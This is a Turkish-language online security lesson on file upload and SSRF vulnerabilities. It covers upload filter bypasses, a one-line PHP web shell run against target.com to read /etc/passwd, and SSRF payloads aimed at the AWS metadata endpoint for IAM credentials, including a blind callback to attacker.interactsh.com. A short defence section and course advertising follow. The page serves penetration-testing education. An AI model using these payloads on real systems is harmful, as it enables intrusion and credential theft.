Dosya Yükleme ve SSRF Güvenlik Açıkları
Dosya yükleme kısıtlamalarını aşın, iç hizmetlere erişmek için SSRF'yi istismar edin ve güvenlik açıklarını zincirleyin.
Dosya Yükleme ve SSRF Güvenlik Açıkları, CoddyKit'te ücretsiz bir Cyber Security Academy dersidir. Bu, 4 dersinin 4. dersidir. Aşağıdan dersin tamamını ücretsiz okuyabilir, sonra tarayıcıda yerleşik kod editörü ve 7/24 yapay zeka koçu ile uygulamalı olarak pratik yapabilirsin. Bu, Cyber Security Academy öğrenme yolunun bir parçasıdır ve ilerlemeniz web ve CoddyKit uygulaması arasında senkronize olur. Cyber Security Academy kursu toplamda 4 dersten oluşur.
Dosya Yükleme Güvenlik Açıkları
Dosya yükleme işlevi, web uygulamalarındaki en yüksek riskli özelliklerden biridir. Yetersiz doğrulama, çalıştırılabilir dosyaların (PHP, JSP, ASPX) yüklenmesine izin verir; sunucu bunları çalıştırarak uzaktan kod çalıştırılmasına yol açar.
Temel Yükleme Atlatma: Uzantı Filtrelemesi
İstemci tarafı ve kara liste tabanlı uzantı süzgeçleri atlatılabilir. Şunları deneyin: çift uzantılar (.php.jpg), büyük/küçük harf değişimleri (.PhP), boş baytlar (file.php%00.jpg) ve alternatif uzantılar (.php5, .phtml, .phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerMIME Türünü Atlama
Sunucular çoğu zaman gerçek dosya içeriğini değil, Content-Type üstbilgisini kontrol eder. Burp'ta yükleme isteğini yakalayın ve Content-Type değerini application/x-php'den image/jpeg'e değiştirin.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>Sihirli Baytları Atlama
Bazı sunucular dosyanın sihirli baytlarını (dosyanın ilk baytlarını) kontrol eder. Denetimi geçmek, ancak çalıştırılabilir içeriği korumak için PHP yükünden önce geçerli görüntü sihirli baytlarını ekleyin.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Yüklemeden Sonra Web Kabuğu
Bir PHP/JSP dosyası yüklenip URL üzerinden erişilebilir olduğunda komutları çalıştırması için onu tetikleyin. En basit web kabuğu:
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdSSRF Nedir?
Sunucu Taraflı İstek Sahteciliği (SSRF), sunucuyu saldırgan adına rastgele URL'lere HTTP istekleri göndermesi için kandırır. Bu açık, iç hizmetlere, bulut meta veri API'lerine ve iç yönetici arayüzlerine erişim sağlar.
Temel SSRF Algılama
URL kabul eden parametreleri bulun (web kancaları, önizleme URL'leri, getirme uç noktaları, görüntü URL'leri). İç adresleri enjekte edip yanıtları gözlemleyin; zaman aşımı, bağlantının reddedilmesi veya geçerli yanıt, nelerin erişilebilir olduğunu gösterir.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/SSRF ile AWS Meta Veri API'si
169.254.169.254 adresindeki AWS Örnek Meta Veri Hizmeti (IMDS), IAM rol kimlik bilgilerini açığa çıkarır. Bu uç noktaya yönelik SSRF, bulut kimlik bilgilerinin sızmasına ve hesabın tamamen ele geçirilmesine olanak tanıyabilir.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}Kör SSRF
Yanıt gövdesi yansıtılmadığında bant dışı teknikler kullanın: Burp Collaborator'a yapılan DNS araması bağlantıyı doğrular; yol verileri içeren HTTP geri çağrısı bilgileri dışarı sızdırır.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testSSRF Atlatma Teknikleri
Açıkça görünen iç IP'leri engelleyen süzgeçler şunlarla atlatılabilir: IP kodlama (ondalık 0x7f000001 = 127.0.0.1), DNS yeniden bağlama, alternatif geri döngü adresleri (127.1, 0.0.0.0) ve URL yönlendirmesi.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostDosya Yükleme ve SSRF'ye Karşı Savunmalar
Dosya yükleme: yalnızca güvenli uzantıları izin listesine alın, web kökünün dışında depolayın, dosyaları sunucu tarafında yeniden adlandırın ve CDN üzerinden sunun. SSRF: izin verilen URL'leri/IP aralıklarını izin listesine alın, gereksiz URL getirme özelliklerini devre dışı bırakın ve AWS üzerinde IMDSv2'yi zorunlu kılın.
Hızlı Kontrol
Bir SSRF saldırısı AWS kimlik bilgilerini çalmak için hangi IP'yi hedefler?
Özet: Dosya Yükleme ve SSRF
Dosya yükleme kusurları uzaktan kod çalıştırmaya, SSRF ise iç ağa erişime ve kimlik bilgisi hırsızlığına yol açar. Yüklemeleri uzantı, MIME türü ve sihirli bayt atlatmalarıyla sınayın. URL parametrelerini localhost'u, iç alt ağları ve bulut meta veri API'lerini hedefleyerek SSRF açısından sınayın. Her ikisi de derinlemesine savunma gerektirir: kara liste yerine izin listesi, ağ segmentasyonu ve bulut sağlamlaştırma kullanın.
Yapay zeka eğitmeniyle Cyber Security Academy öğren — ücretsiz
Tarayıcında gerçek kod yaz ve çalıştır, 7/24 yapay zeka eğitmeninden anında yardım al; web'de ya da uygulamada kaldığın yerden devam et.
- Kurslar
- 76
- Dersler
- 303
Sıkça Sorulan Sorular
“Dosya Yükleme ve SSRF Güvenlik Açıkları” dersi ücretsiz mi?
Evet — “Dosya Yükleme ve SSRF Güvenlik Açıkları” dersin tüm metni burada web'de ücretsiz olarak okunabilir. Etkileşimli olarak pratik yapmak (yerleşik kod editörü ve 7/24 yapay zeka koçu) ve Cyber Security Academy kursunun geri kalanını açmak için CoddyKit PRO'ya yükselt. Cyber Security Academy kursu toplamda 4 dersten oluşur.
“Dosya Yükleme ve SSRF Güvenlik Açıkları” dersinde ne öğreneceğim?
Dosya yükleme kısıtlamalarını aşın, iç hizmetlere erişmek için SSRF'yi istismar edin ve güvenlik açıklarını zincirleyin. Cyber Security Academy ile uygulamalı kodu tarayıcıda doğrudan çalıştırarak pratik yaparsın ve 7/24 yapay zeka koçu dersi çalışırken sorularını yanıtlar.
Cyber Security Academy öğrenmeye başlamak için deneyim gerekli mi?
Önceden deneyim gerekmez. CoddyKit'te Cyber Security Academy, başlangıçtan ileri seviyeye kadar yapılandırıldığı için buradan başlayabilir veya başından başlayıp kendi hızında ilerleme yapabilirsin. Bu, 4 dersinin 4. dersidir.
“Dosya Yükleme ve SSRF Güvenlik Açıkları” dersi ne kadar sürer?
Çoğu CoddyKit dersi yaklaşık 5–10 dakika sürer. Her biri kısa ve etkileşimli olduğu için sabit ilerleme yaparsın ve web ile uygulama arasında tam olarak bıraktığın yerden devam edebilirsin.
Bu Cyber Security Academy dersinde kod yazıp çalıştırabilir miyim?
Evet. Her Cyber Security Academy dersi yerleşik bir kod editörü içerir, bu sayede tarayıcıda gerçek kod yazıp çalıştırabilir ve anlık yapay zeka geri bildirimi alırsın — yerel kurulum gerekli değildir.
Bu kursun tüm dersleri
- Burp Suite Proxy'si ve İstekleri Yakalama
- Enjeksiyon Güvenlik Açıklarını Sınama
- Kimlik Doğrulama ve Oturum Sınaması
- Dosya Yükleme ve SSRF Güvenlik Açıkları